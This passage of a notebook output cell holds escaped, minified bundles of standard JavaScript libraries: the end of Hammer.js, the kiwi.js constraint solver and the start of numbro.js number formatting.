this._timer=u(function(){this.state=32},this.options.interval,this),32},reset:function(){clearTimeout(this._timer)},emit:function(){8==this.state&&(this._input.tapCount=this.count,this.manager.emit(this.options.event,this._input))}}),Vt.VERSION=\\\"2.0.7\\\",Vt.defaults={domEvents:!1,touchAction:\\\"compute\\\",enable:!0,inputTarget:null,inputClass:null,preset:[[Rt,{enable:!1}],[Dt,{enable:!1},[\\\"rotate\\\"]],[Bt,{direction:Y}],[Ft,{direction:Y},[\\\"swipe\\\"]],[Lt],[Lt,{event:\\\"doubletap\\\",taps:2},[\\\"tap\\\"]],[It]],cssProps:{userSelect:\\\"none\\\",touchSelect:\\\"none\\\",touchCallout:\\\"none\\\",contentZooming:\\\"none\\\",userDrag:\\\"none\\\",tapHighlightColor:\\\"rgba(0,0,0,0)\\\"}},Gt.prototype={set:function(t){return s(this.options,t),t.touchAction&&this.touchAction.update(),t.inputTarget&&(this.input.destroy(),this.input.target=t.inputTarget,this.input.init()),this},stop:function(t){this.session.stopped=t?2:1},recognize:function(t){var e=this.session;if(!e.stopped){var i;this.touchAction.preventDefaults(t);var n=this.recognizers,r=e.curRecognizer;(!r||r&&8&r.state)&&(r=e.curRecognizer=null);for(var o=0;o<n.length;)i=n[o],2===e.stopped||r&&i!=r&&!i.canRecognizeWith(r)?i.reset():i.recognize(t),!r&&14&i.state&&(r=e.curRecognizer=i),o++}},get:function(t){if(t instanceof Ot)return t;for(var e=this.recognizers,i=0;i<e.length;i++)if(e[i].options.event==t)return e[i];return null},add:function(t){if(n(t,\\\"add\\\",this))return this;var e=this.get(t.options.event);return e&&this.remove(e),this.recognizers.push(t),(t.manager=this).touchAction.update(),t},remove:function(t){if(n(t,\\\"remove\\\",this))return this;if(t=this.get(t)){var e=this.recognizers,i=T(e,t);-1!==i&&(e.splice(i,1),this.touchAction.update())}return this},on:function(t,e){if(t!==x&&e!==x){var i=this.handlers;return c(C(t),function(t){i[t]=i[t]||[],i[t].push(e)}),this}},off:function(t,e){if(t!==x){var i=this.handlers;return c(C(t),function(t){e?i[t]&&i[t].splice(T(i[t],e),1):delete i[t]}),this}},emit:function(t,e){var i,n,r;this.options.domEvents&&(i=t,n=e,(r=a.createEvent(\\\"Event\\\")).initEvent(i,!0,!0),(r.gesture=n).target.dispatchEvent(r));var o=this.handlers[t]&&this.handlers[t].slice();if(o&&o.length){e.type=t,e.preventDefault=function(){e.srcEvent.preventDefault()};for(var s=0;s<o.length;)o[s](e),s++}},destroy:function(){this.element&&Ut(this,!1),this.handlers={},this.session={},this.input.destroy(),this.element=null}},s(Vt,{INPUT_START:I,INPUT_MOVE:2,INPUT_END:R,INPUT_CANCEL:B,STATE_POSSIBLE:Mt,STATE_BEGAN:2,STATE_CHANGED:4,STATE_ENDED:8,STATE_RECOGNIZED:8,STATE_CANCELLED:16,STATE_FAILED:32,DIRECTION_NONE:L,DIRECTION_LEFT:V,DIRECTION_RIGHT:G,DIRECTION_UP:U,DIRECTION_DOWN:q,DIRECTION_HORIZONTAL:Y,DIRECTION_VERTICAL:X,DIRECTION_ALL:H,Manager:Gt,Input:Q,TouchAction:Et,TouchInput:mt,MouseInput:at,PointerEventInput:_t,TouchMouseInput:yt,SingleTouchInput:dt,Recognizer:Ot,AttrRecognizer:Nt,Tap:Lt,Pan:Ft,Swipe:Bt,Pinch:Dt,Rotate:Rt,Press:It,on:g,off:y,each:c,merge:p,extend:_,assign:s,inherit:d,bindFn:f,prefixed:M});var qt=void 0!==o?o:\\\"undefined\\\"!=typeof self?self:{};qt.Hammer=Vt,void 0!==Yt&&Yt.exports?Yt.exports=Vt:o.Hammer=Vt}(window,document)},function(t,e,i){var n,r,o=t(353);(r=n=i.Operator||(i.Operator={}))[r.Le=0]=\\\"Le\\\",r[r.Ge=1]=\\\"Ge\\\",r[r.Eq=2]=\\\"Eq\\\";var s=function(){function t(t,e,i){void 0===i&&(i=o.Strength.required),this._id=a++,this._operator=e,this._expression=t,this._strength=o.Strength.clip(i)}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){var t=this;return this._expression+\\\" \\\"+function(){switch(t._operator){case n.Le:return\\\"<=\\\";case n.Ge:return\\\">=\\\";case n.Eq:return\\\"==\\\"}}()+\\\" 0\\\"},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"expression\\\",{get:function(){return this._expression},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"op\\\",{get:function(){return this._operator},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"strength\\\",{get:function(){return this._strength},enumerable:!0,configurable:!0}),t}();i.Constraint=s;var a=0},function(t,e,i){var h=t(357),u=t(360),c=t(351),n=function(){function t(){var t=function(t){for(var e=0,i=function(){return 0},n=c.createMap(u.Variable.Compare),r=0,o=t.length;r<o;++r){var s=t[r];if(\\\"number\\\"==typeof s)e+=s;else if(s instanceof u.Variable)n.setDefault(s,i).second+=1;else{if(!(s instanceof Array))throw new Error(\\\"invalid Expression argument: \\\"+JSON.stringify(s));if(2!==s.length)throw new Error(\\\"array must have length 2\\\");var a=s[0],l=s[1];if(\\\"number\\\"!=typeof a)throw new Error(\\\"array item 0 must be a number\\\");if(!(l instanceof u.Variable))throw new Error(\\\"array item 1 must be a variable\\\");n.setDefault(l,i).second+=a}}return{terms:n,constant:e}}(arguments);this._terms=t.terms,this._constant=t.constant}return t.prototype.toString=function(){var e=[];h.forEach(this._terms,function(t){e.push([t.first,t.second])});for(var t=!0,i=\\\"\\\",n=0,r=e;n<r.length;n++){var o=r[n],s=o[0],a=o[1];t?(t=!1,i+=1==a?\\\"\\\"+s:-1==a?\\\"-\\\"+s:a+\\\"*\\\"+s):i+=1==a?\\\" + \\\"+s:-1==a?\\\" - \\\"+s:0<=a?\\\" + \\\"+a+s:\\\" - \\\"+-a+s}var l=this.constant;return l<0?i+=\\\" - \\\"+-l:0<l&&(i+=\\\" + \\\"+l),i},Object.defineProperty(t.prototype,\\\"terms\\\",{get:function(){return this._terms},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"constant\\\",{get:function(){return this._constant},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){var e=this._constant;return h.forEach(this._terms,function(t){e+=t.first.value*t.second}),e},enumerable:!0,configurable:!0}),t}();i.Expression=n},function(t,e,i){\\n\",\n       \"      /*-----------------------------------------------------------------------------\\n\",\n       \"          | Copyright (c) 2014, Nucleic Development Team.\\n\",\n       \"          |\\n\",\n       \"          | Distributed under the terms of the Modified BSD License.\\n\",\n       \"          |\\n\",\n       \"          | The full license is in the file COPYING.txt, distributed with this software.\\n\",\n       \"          |----------------------------------------------------------------------------*/\\n\",\n       \"      function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(360)),n(t(349)),n(t(348)),n(t(353)),n(t(352))},function(t,e,i){var n=t(357);i.createMap=function(t){return new n.AssociativeArray(t)}},function(t,e,i){var g,n,r=t(360),a=t(349),y=t(348),b=t(353),o=t(351),s=t(357),l=function(){function t(){this._cnMap=o.createMap(y.Constraint.Compare),this._rowMap=o.createMap(h.Compare),this._varMap=o.createMap(r.Variable.Compare),this._editMap=o.createMap(r.Variable.Compare),this._infeasibleRows=[],this._objective=new k,this._artificial=null,this._idTick=0}return t.prototype.addConstraint=function(t){var e=this._cnMap.find(t);if(void 0!==e)throw new Error(\\\"duplicate constraint\\\");var i=this._createRow(t),n=i.row,r=i.tag,o=this._chooseSubject(n,r);if(o.type()===g.Invalid&&n.allDummies()){if(!x(n.constant())){for(var s=[],a=0,l=t.expression.terms._array;a<l.length;a++){var h=l[a];s.push(h.first.name)}var u=[\\\"LE\\\",\\\"GE\\\",\\\"EQ\\\"][t.op];throw new Error(\\\"unsatisfiable constraint [\\\"+s.join(\\\",\\\")+\\\"] operator: \\\"+u)}o=r.marker}if(o.type()===g.Invalid){if(!this._addWithArtificialVariable(n))throw new Error(\\\"unsatisfiable constraint\\\")}else n.solveFor(o),this._substitute(o,n),this._rowMap.insert(o,n);this._cnMap.insert(t,r),this._optimize(this._objective)},t.prototype.removeConstraint=function(t,e){void 0===e&&(e=!1);var i=this._cnMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown constraint\\\")}this._removeConstraintEffects(t,i.second);var n=i.second.marker,r=this._rowMap.erase(n);if(void 0===r){var o=this._getMarkerLeavingSymbol(n);if(o.type()===g.Invalid)throw new Error(\\\"failed to find leaving row\\\");(r=this._rowMap.erase(o)).second.solveForEx(o,n),this._substitute(n,r.second)}this._optimize(this._objective)},t.prototype.hasConstraint=function(t){return this._cnMap.contains(t)},t.prototype.addEditVariable=function(t,e){var i=this._editMap.find(t);if(void 0!==i)throw new Error(\\\"duplicate edit variable: \\\"+t.name);if((e=b.Strength.clip(e))===b.Strength.required)throw new Error(\\\"bad required strength\\\");var n=new a.Expression(t),r=new y.Constraint(n,y.Operator.Eq,e);this.addConstraint(r);var o=this._cnMap.find(r).second,s={tag:o,constraint:r,constant:0};this._editMap.insert(t,s)},t.prototype.removeEditVariable=function(t,e){void 0===e&&(e=!1);var i=this._editMap.erase(t);if(void 0===i){if(e)return;throw new Error(\\\"unknown edit variable: \\\"+t.name)}this.removeConstraint(i.second.constraint,e)},t.prototype.hasEditVariable=function(t){return this._editMap.contains(t)},t.prototype.suggestValue=function(t,e){var i=this._editMap.find(t);if(void 0===i)throw new Error(\\\"unknown edit variable: \\\"+t.name);var n=this._rowMap,r=i.second,o=e-r.constant;r.constant=e;var s=r.tag.marker,a=n.find(s);if(void 0!==a)return a.second.add(-o)<0&&this._infeasibleRows.push(s),void this._dualOptimize();var l=r.tag.other;if(void 0!==(a=n.find(l)))return a.second.add(o)<0&&this._infeasibleRows.push(l),void this._dualOptimize();for(var h=0,u=n.size();h<u;++h){var c=n.itemAt(h),_=c.second,p=_.coefficientFor(s);0!==p&&_.add(o*p)<0&&c.first.type()!==g.External&&this._infeasibleRows.push(c.first)}this._dualOptimize()},t.prototype.updateVariables=function(){for(var t=this._varMap,e=this._rowMap,i=0,n=t.size();i<n;++i){var r=t.itemAt(i),o=e.find(r.second),s=0;void 0!==o&&-0===(s=o.second.constant())&&(s=0),r.first.setValue(s)}},t.prototype.getConstraints=function(){var e=[];return s.forEach(this._cnMap,function(t){e.push(t.first)}),e},Object.defineProperty(t.prototype,\\\"numConstraints\\\",{get:function(){return this._cnMap.size()},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"numEditVariables\\\",{get:function(){return this._editMap.size()},enumerable:!0,configurable:!0}),t.prototype._getVarSymbol=function(t){var e=this;return this._varMap.setDefault(t,function(){return e._makeSymbol(g.External)}).second},t.prototype._createRow=function(t){for(var e=t.expression,i=new k(e.constant),n=e.terms,r=0,o=n.size();r<o;++r){var s=n.itemAt(r);if(!x(s.second)){var a=this._getVarSymbol(s.first),l=this._rowMap.find(a);void 0!==l?i.insertRow(l.second,s.second):i.insertSymbol(a,s.second)}}var h=this._objective,u=t.strength,c={marker:w,other:w};switch(t.op){case y.Operator.Le:case y.Operator.Ge:var _=t.op===y.Operator.Le?1:-1,p=this._makeSymbol(g.Slack);if(c.marker=p,i.insertSymbol(p,_),u<b.Strength.required){var d=this._makeSymbol(g.Error);c.other=d,i.insertSymbol(d,-_),h.insertSymbol(d,u)}break;case y.Operator.Eq:if(u<b.Strength.required){var f=this._makeSymbol(g.Error),v=this._makeSymbol(g.Error);c.marker=f,c.other=v,i.insertSymbol(f,-1),i.insertSymbol(v,1),h.insertSymbol(f,u),h.insertSymbol(v,u)}else{var m=this._makeSymbol(g.Dummy);c.marker=m,i.insertSymbol(m)}}return i.constant()<0&&i.reverseSign(),{row:i,tag:c}},t.prototype._chooseSubject=function(t,e){for(var i=t.cells(),n=0,r=i.size();n<r;++n){var o=i.itemAt(n);if(o.first.type()===g.External)return o.first}var s=e.marker.type();return(s===g.Slack||s===g.Error)&&t.coefficientFor(e.marker)<0?e.marker:((s=e.other.type())===g.Slack||s===g.Error)&&t.coefficientFor(e.other)<0?e.other:w},t.prototype._addWithArtificialVariable=function(t){var e=this._makeSymbol(g.Slack);this._rowMap.insert(e,t.copy()),this._artificial=t.copy(),this._optimize(this._artificial);var i=x(this._artificial.constant());this._artificial=null;var n=this._rowMap.erase(e);if(void 0!==n){var r=n.second;if(r.isConstant())return i;var o=this._anyPivotableSymbol(r);if(o.type()===g.Invalid)return!1;r.solveForEx(e,o),this._substitute(o,r),this._rowMap.insert(o,r)}for(var s=this._rowMap,a=0,l=s.size();a<l;++a)s.itemAt(a).second.removeSymbol(e);return this._objective.removeSymbol(e),i},t.prototype._substitute=function(t,e){for(var i=this._rowMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);o.second.substitute(t,e),o.second.constant()<0&&o.first.type()!==g.External&&this._infeasibleRows.push(o.first)}this._objective.substitute(t,e),this._artificial&&this._artificial.substitute(t,e)},t.prototype._optimize=function(t){for(;;){var e=this._getEnteringSymbol(t);if(e.type()===g.Invalid)return;var i=this._getLeavingSymbol(e);if(i.type()===g.Invalid)throw new Error(\\\"the objective is unbounded\\\");var n=this._rowMap.erase(i).second;n.solveForEx(i,e),this._substitute(e,n),this._rowMap.insert(e,n)}},t.prototype._dualOptimize=function(){for(var t=this._rowMap,e=this._infeasibleRows;0!==e.length;){var i=e.pop(),n=t.find(i);if(void 0!==n&&n.second.constant()<0){var r=this._getDualEnteringSymbol(n.second);if(r.type()===g.Invalid)throw new Error(\\\"dual optimize failed\\\");var o=n.second;t.erase(i),o.solveForEx(i,r),this._substitute(r,o),t.insert(r,o)}}},t.prototype._getEnteringSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first;if(r.second<0&&o.type()!==g.Dummy)return o}return w},t.prototype._getDualEnteringSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=t.cells(),r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first,l=s.second;if(0<l&&a.type()!==g.Dummy){var h=this._objective.coefficientFor(a),u=h/l;u<e&&(e=u,i=a)}}return i},t.prototype._getLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=w,n=this._rowMap,r=0,o=n.size();r<o;++r){var s=n.itemAt(r),a=s.first;if(a.type()!==g.External){var l=s.second,h=l.coefficientFor(t);if(h<0){var u=-l.constant()/h;u<e&&(e=u,i=a)}}}return i},t.prototype._getMarkerLeavingSymbol=function(t){for(var e=Number.MAX_VALUE,i=e,n=e,r=w,o=r,s=r,a=r,l=this._rowMap,h=0,u=l.size();h<u;++h){var c=l.itemAt(h),_=c.second,p=_.coefficientFor(t);if(0!==p){var d=c.first;if(d.type()===g.External)a=d;else if(p<0){var f=-_.constant()/p;f<i&&(i=f,o=d)}else{var f=_.constant()/p;f<n&&(n=f,s=d)}}}return o!==r?o:s!==r?s:a},t.prototype._removeConstraintEffects=function(t,e){e.marker.type()===g.Error&&this._removeMarkerEffects(e.marker,t.strength),e.other.type()===g.Error&&this._removeMarkerEffects(e.other,t.strength)},t.prototype._removeMarkerEffects=function(t,e){var i=this._rowMap.find(t);void 0!==i?this._objective.insertRow(i.second,-e):this._objective.insertSymbol(t,-e)},t.prototype._anyPivotableSymbol=function(t){for(var e=t.cells(),i=0,n=e.size();i<n;++i){var r=e.itemAt(i),o=r.first.type();if(o===g.Slack||o===g.Error)return r.first}return w},t.prototype._makeSymbol=function(t){return new h(t,this._idTick++)},t}();function x(t){return t<0?-t<1e-8:t<1e-8}i.Solver=l,(n=g||(g={}))[n.Invalid=0]=\\\"Invalid\\\",n[n.External=1]=\\\"External\\\",n[n.Slack=2]=\\\"Slack\\\",n[n.Error=3]=\\\"Error\\\",n[n.Dummy=4]=\\\"Dummy\\\";var h=function(){function t(t,e){this._id=e,this._type=t}return t.Compare=function(t,e){return t.id()-e.id()},t.prototype.id=function(){return this._id},t.prototype.type=function(){return this._type},t}(),w=new h(g.Invalid,-1),k=function(){function e(t){void 0===t&&(t=0),this._cellMap=o.createMap(h.Compare),this._constant=t}return e.prototype.cells=function(){return this._cellMap},e.prototype.constant=function(){return this._constant},e.prototype.isConstant=function(){return this._cellMap.empty()},e.prototype.allDummies=function(){for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);if(n.first.type()!==g.Dummy)return!1}return!0},e.prototype.copy=function(){var t=new e(this._constant);return t._cellMap=this._cellMap.copy(),t},e.prototype.add=function(t){return this._constant+=t},e.prototype.insertSymbol=function(t,e){void 0===e&&(e=1);var i=this._cellMap.setDefault(t,function(){return 0});x(i.second+=e)&&this._cellMap.erase(t)},e.prototype.insertRow=function(t,e){void 0===e&&(e=1),this._constant+=t._constant*e;for(var i=t._cellMap,n=0,r=i.size();n<r;++n){var o=i.itemAt(n);this.insertSymbol(o.first,o.second*e)}},e.prototype.removeSymbol=function(t){this._cellMap.erase(t)},e.prototype.reverseSign=function(){this._constant=-this._constant;for(var t=this._cellMap,e=0,i=t.size();e<i;++e){var n=t.itemAt(e);n.second=-n.second}},e.prototype.solveFor=function(t){var e=this._cellMap,i=e.erase(t),n=-1/i.second;this._constant*=n;for(var r=0,o=e.size();r<o;++r)e.itemAt(r).second*=n},e.prototype.solveForEx=function(t,e){this.insertSymbol(t,-1),this.solveFor(e)},e.prototype.coefficientFor=function(t){var e=this._cellMap.find(t);return void 0!==e?e.second:0},e.prototype.substitute=function(t,e){var i=this._cellMap.erase(t);void 0!==i&&this.insertRow(e,i.second)},e}()},function(t,e,i){!function(e){function t(t,e,i,n){void 0===n&&(n=1);var r=0;return r+=1e6*Math.max(0,Math.min(1e3,t*n)),r+=1e3*Math.max(0,Math.min(1e3,e*n)),r+=Math.max(0,Math.min(1e3,i*n))}e.create=t,e.required=t(1e3,1e3,1e3),e.strong=t(1,0,0),e.medium=t(0,1,0),e.weak=t(0,0,1),e.clip=function(t){return Math.max(0,Math.min(e.required,t))}}(i.Strength||(i.Strength={}))},function(t,e,i){var l=t(358);function o(t,e,i){for(var n,r,o=0,s=t.length;0<s;)i(t[r=o+(n=s>>1)],e)<0?(o=r+1,s-=n+1):s=n;return o}i.lowerBound=o,i.binarySearch=function(t,e,i){var n=o(t,e,i);if(n===t.length)return-1;var r=t[n];return 0!==i(r,e)?-1:n},i.binaryFind=function(t,e,i){var n=o(t,e,i);if(n!==t.length){var r=t[n];if(0===i(r,e))return r}},i.asSet=function(t,e){var i=l.asArray(t),n=i.length;if(n<=1)return i;i.sort(e);for(var r=[i[0]],o=1,s=0;o<n;++o){var a=i[o];0!==e(r[s],a)&&(r.push(a),++s)}return r},i.setIsDisjoint=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length;n<o&&r<s;){var a=i(t[n],e[r]);if(a<0)++n;else{if(!(0<a))return!1;++r}}return!0},i.setIsSubset=function(t,e,i){var n=t.length,r=e.length;if(r<n)return!1;for(var o=0,s=0;o<n&&s<r;){var a=i(t[o],e[s]);if(a<0)return!1;0<a||++o,++s}return!(o<n)},i.setUnion=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):(a.push(l),++n),++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a},i.setIntersection=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?++n:(0<u||(a.push(l),++n),++r)}return a},i.setDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u||++n,++r)}for(;n<o;)a.push(t[n]),++n;return a},i.setSymmetricDifference=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l,h);u<0?(a.push(l),++n):(0<u?a.push(h):++n,++r)}for(;n<o;)a.push(t[n]),++n;for(;r<s;)a.push(e[r]),++r;return a}},function(t,e,i){var n=t(358),r=function(){function t(){this._array=[]}return t.prototype.size=function(){return this._array.length},t.prototype.empty=function(){return 0===this._array.length},t.prototype.itemAt=function(t){return this._array[t]},t.prototype.takeAt=function(t){return this._array.splice(t,1)[0]},t.prototype.clear=function(){this._array=[]},t.prototype.swap=function(t){var e=this._array;this._array=t._array,t._array=e},t.prototype.__iter__=function(){return n.iter(this._array)},t.prototype.__reversed__=function(){return n.reversed(this._array)},t}();i.ArrayBase=r},function(t,e,i){\\n\",\n       \"      /*-----------------------------------------------------------------------------\\n\",\n       \"          | Copyright (c) 2014, Nucleic Development Team.\\n\",\n       \"          |\\n\",\n       \"          | Distributed under the terms of the Modified BSD License.\\n\",\n       \"          |\\n\",\n       \"          | The full license is in the file COPYING.txt, distributed with this software.\\n\",\n       \"          |----------------------------------------------------------------------------*/\\n\",\n       \"      var n,r=this&&this.__extends||(n=Object.setPrototypeOf||{__proto__:[]}instanceof Array&&function(t,e){t.__proto__=e}||function(t,e){for(var i in e)e.hasOwnProperty(i)&&(t[i]=e[i])},function(t,e){function i(){this.constructor=t}n(t,e),t.prototype=null===e?Object.create(e):(i.prototype=e.prototype,new i)}),s=t(359),o=t(355),a=t(354),l=t(358),h=function(n){function o(t){var i,e=n.call(this)||this;return e._compare=t,e._wrapped=(i=t,function(t,e){return i(t.first,e)}),e}return r(o,n),o.prototype.comparitor=function(){return this._compare},o.prototype.indexOf=function(t){return a.binarySearch(this._array,t,this._wrapped)},o.prototype.contains=function(t){return 0<=a.binarySearch(this._array,t,this._wrapped)},o.prototype.find=function(t){return a.binaryFind(this._array,t,this._wrapped)},o.prototype.setDefault=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e());return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e());return i.splice(n,0,r),r}return o},o.prototype.insert=function(t,e){var i=this._array,n=a.lowerBound(i,t,this._wrapped);if(n===i.length){var r=new s.Pair(t,e);return i.push(r),r}var o=i[n];if(0!==this._compare(o.first,t)){var r=new s.Pair(t,e);return i.splice(n,0,r),r}return o.second=e,o},o.prototype.update=function(t){var e=this;t instanceof o?this._array=function(t,e,i){for(var n=0,r=0,o=t.length,s=e.length,a=[];n<o&&r<s;){var l=t[n],h=e[r],u=i(l.first,h.first);u<0?(a.push(l.copy()),++n):(0<u?a.push(h.copy()):(a.push(h.copy()),++n),++r)}for(;n<o;)a.push(t[n].copy()),++n;for(;r<s;)a.push(e[r].copy()),++r;return a}(this._array,t._array,this._compare):l.forEach(t,function(t){e.insert(t.first,t.second)})},o.prototype.erase=function(t){var e=this._array,i=a.binarySearch(e,t,this._wrapped);if(!(i<0))return e.splice(i,1)[0]},o.prototype.copy=function(){for(var t=new o(this._compare),e=t._array,i=this._array,n=0,r=i.length;n<r;++n)e.push(i[n].copy());return t},o}(o.ArrayBase);i.AssociativeArray=h},function(t,e,i){function n(t){for(var e in t)i.hasOwnProperty(e)||(i[e]=t[e])}n(t(354)),n(t(355)),n(t(356)),n(t(358)),n(t(359))},function(t,e,i){var n=function(){function t(t,e){void 0===e&&(e=0),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[this._index++]},t.prototype.__iter__=function(){return this},t}();i.ArrayIterator=n;var r=function(){function t(t,e){void 0===e&&(e=t.length),this._array=t,this._index=Math.max(0,Math.min(e,t.length))}return t.prototype.__next__=function(){return this._array[--this._index]},t.prototype.__iter__=function(){return this},t}();i.ReverseArrayIterator=r,i.iter=function(t){return t instanceof Array?new n(t):t.__iter__()},i.reversed=function(t){return t instanceof Array?new r(t):t.__reversed__()},i.next=function(t){return t.__next__()},i.asArray=function(t){if(t instanceof Array)return t.slice();for(var e,i=[],n=t.__iter__();void 0!==(e=n.__next__());)i.push(e);return i},i.forEach=function(t,e){if(t instanceof Array){for(var i=0,n=t.length;i<n;++i)if(!1===e(t[i]))return}else for(var r,o=t.__iter__();void 0!==(r=o.__next__());)if(!1===e(r))return},i.map=function(t,e){var i=[];if(t instanceof Array)for(var n=0,r=t.length;n<r;++n)i.push(e(t[n]));else for(var o,s=t.__iter__();void 0!==(o=s.__next__());)i.push(e(o));return i},i.filter=function(t,e){var i,n=[];if(t instanceof Array)for(var r=0,o=t.length;r<o;++r)i=t[r],e(i)&&n.push(i);else for(var s=t.__iter__();void 0!==(i=s.__next__());)e(i)&&n.push(i);return n}},function(t,e,i){var n=function(){function t(t,e){this.first=t,this.second=e}return t.prototype.copy=function(){return new t(this.first,this.second)},t}();i.Pair=n},function(t,e,i){var n=function(){function t(t){void 0===t&&(t=\\\"\\\"),this._value=0,this._context=null,this._id=r++,this._name=t}return t.Compare=function(t,e){return t.id-e.id},t.prototype.toString=function(){return this._name},Object.defineProperty(t.prototype,\\\"id\\\",{get:function(){return this._id},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"name\\\",{get:function(){return this._name},enumerable:!0,configurable:!0}),t.prototype.setName=function(t){this._name=t},Object.defineProperty(t.prototype,\\\"context\\\",{get:function(){return this._context},enumerable:!0,configurable:!0}),t.prototype.setContext=function(t){this._context=t},Object.defineProperty(t.prototype,\\\"value\\\",{get:function(){return this._value},enumerable:!0,configurable:!0}),t.prototype.setValue=function(t){this._value=t},t}();i.Variable=n;var r=0},function(t,e,i){\\n\",\n       \"      /*!\\n\",\n       \"           * numbro.js\\n\",\n       \"           * version : 1.6.2\\n\",\n       \"           * author : FÃ¶retagsplatsen AB\\n\",\n       \"           * license : MIT\\n\",\n       \"           * http://www.foretagsplatsen.se\\n\",\n       \"           */\\n\",\n       \"      var u,U={},o=U,q=\\\"en-US\\\",Y=null,r=\\\"0,0\\\";function n(t){this._value=t}function p(t){var e,i=\\\"\\\";for(e=0;e<t;e++)i+=\\\"0\\\";return i}function X(t,e,i,n){var r,o,s,a,l,h,u,c,_=Math.pow(10,e);return o=-1<t.toFixed(0).search(\\\"e\\\")?(s=e,c=t.toString(),a=c.split(\\\"e\\\")[0],u=c.split(\\\"e\\\")[1],l=a.split(\\\".\\\")[0],h=a.split(\\\".\\\")[1]||\\\"\\\",c=l+h+p(u-h.length),0<s&&(c+=\\\".\\\"+p(s)),c):(i(t*_)/_).toFixed(e),n&&(r=new RegExp(\\\"0{1,\\\"+n+\\\"}$\\\"),o=o.replace(r,\\\"\\\")),o}function s(t,e,i){var n,r,o,s,a,l,h,u,c,_;return-1<e.indexOf(\\\"$\\\")?n=function(t,e,i){var n,r,o=e,s=o.indexOf(\\\"$\\\"),a=o.indexOf(\\\"(\\\"),l=o.indexOf(\\\"+\\\"),h=o.indexOf(\\\"-\\\"),u=\\\"\\\",c=\\\"\\\";if(-1===o.indexOf(\\\"$\\\")?\\\"infix\\\"===U[q].currency.position?(c=U[q].currency.symbol,U[q].currency.spaceSeparated&&(c=\\\" \\\"+c+\\\" \\\")):U[q].currency.spaceSeparated&&(u=\\\" \\\"):-1<o.indexOf(\\\" $\\\")?(u=\\\" \\\",o=o.replace(\\\" $\\\",\\\"\\\")):-1<o.indexOf(\\\"$ \\\")?(u=\\\" \\\",o=o.replace(\\\"$ \\\",\\\"\\\")):o=o.replace(\\\"$\\\",\\\"\\\"),r=d(t,o,i,c),-1===e.indexOf(\\\"$\\\"))switch(U[q].currency.position){case\\\"postfix\\\":-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;break;case\\\"infix\\\":break;case\\\"prefix\\\":-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=Math.max(a,h)+1,r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r;break;default:throw Error('Currency position should be among [\\\"prefix\\\", \\\"infix\\\", \\\"postfix\\\"]')}else s<=1?-1<r.indexOf(\\\"(\\\")||-1<r.indexOf(\\\"+\\\")||-1<r.indexOf(\\\"-\\\")?(r=r.split(\\\"\\\"),n=1,(s<a||s<l||s<h)&&(n=0),r.splice(n,0,U[q].currency.symbol+u),r=r.join(\\\"\\\")):r=U[q].currency.symbol+u+r:-1<r.indexOf(\\\")\\\")?((r=r.split(\\\"\\\")).splice(-1,0,u+U[q].currency.symbol),r=r.join(\\\"\\\")):r=r+u+U[q].currency.symbol;return r}(t,e,i):-1<e.indexOf(\\\"%\\\")?(l=t,u=i,_=\\\"\\\",l*=100,-1<(h=e).indexOf(\\\" %\\\")?(_=\\\" \\\",h=h.replace(\\\" %\\\",\\\"\\\")):h=h.replace(\\\"%\\\",\\\"\\\"),-1<(c=d(l,h,u)).indexOf(\\\")\\\")?((c=c.split(\\\"\\\")).splice(-1,0,_+\\\"%\\\"),c=c.join(\\\"\\\")):c=c+_+\\\"%\\\",n=c):-1<e.indexOf(\\\":\\\")?(r=t,o=Math.floor(r/60/60),s=Math.floor((r-60*o*60)/60),a=Math.round(r-60*o*60-60*s),n=o+\\\":\\\"+(s<10?\\\"0\\\"+s:s)+\\\":\\\"+(a<10?\\\"0\\\"+a:a)):n=d(t,e,i),n}function d(t,e,i,n){var 